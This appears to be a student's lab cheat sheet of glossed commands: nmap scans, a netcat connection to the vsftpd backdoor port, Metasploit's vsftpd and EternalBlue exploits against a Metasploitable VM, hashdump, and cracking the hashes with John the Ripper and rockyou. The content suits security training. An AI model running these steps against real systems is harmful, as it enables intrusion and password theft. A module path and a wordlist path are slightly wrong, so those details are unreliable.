

- ip a
 - Displays the IP address of the selected object
 - The a switch processes all objects
- clear
 - Clears the screen
- nmap -sT 192.168.xx.xx
 - The sT option will run a TCP connect scan
 - Use the IP address from the previous command (ip a on the other VM)
- nmap -sT 192.168.xx.xx -p6200
 - The -p switch allows us to check a specific port
 - Port 6200 was not chosen randomly
- netcat 192.168.xx.xx ##
 - Connects to a specific IP address
 - ## is the port you want to connect to, 21 for FTP
- msfconsole
 - This command will launch the console in a terminal window
- help
 - Shows the help file
- search vsftpd
 - Searches for the term specified
- use #
 - Uses the selected search result.
- show options
 - Displays the options and their settings
- set rhosts 192.168.xx.xx
 - set to the IP of the Metasploitable VM
 - All we need to set, as it is the only require option without a default
 - Remember its plural even though we just have one rhost
- exploit
 - Runs the exploit
- run
 - Runs the current module

- ls
 - Lists the files in a directory
- id
 - Tells us who we are logged in as
- ip a
 - Tells us our IP address
- shutdown 0
 - Shuts down the VM with 0 delay
- Nmap 192.168.56.0/24
 - The /24 part tells it to scan the entire subnet for hosts.
- search eternalblue
 - Searches modules for the phrase eternalblue
- use exploit/windows/smb.ms17_010_eternalblue
 - Loads the specified module
- options
 - Shows the various options for a module
- set rhosts 192.168.56.xx
 - Sets the remote hosts IP address
- ip a
 - Tells you your IP address
- set lhost 192.168.xx.xx
 - Sets the listening IP address
- Run
 - Runs the current module
- hashdump
 - Displays the hashes for the passwords stored on the machine.
- cd /usr/share/wordlists/
 - Changes the current directory to the one specified
- sudo gzip -d rockyou.txt.gz
 - Decompresses the RockYou text file
- mousepad mypswdhashes.txt
 - Launches Mousepad and opens the specified text file
- john --wordlist=/usr/share/wordlist/rockyou.txt passwords.txt --format=NT

- Launches John the Ripper and uses the specified worklist against the specified password hashes, looking for password in the specified format
- `rm ./john/john.pot`
 - Removes the cracked passwords
 - May need to be run for the above command to work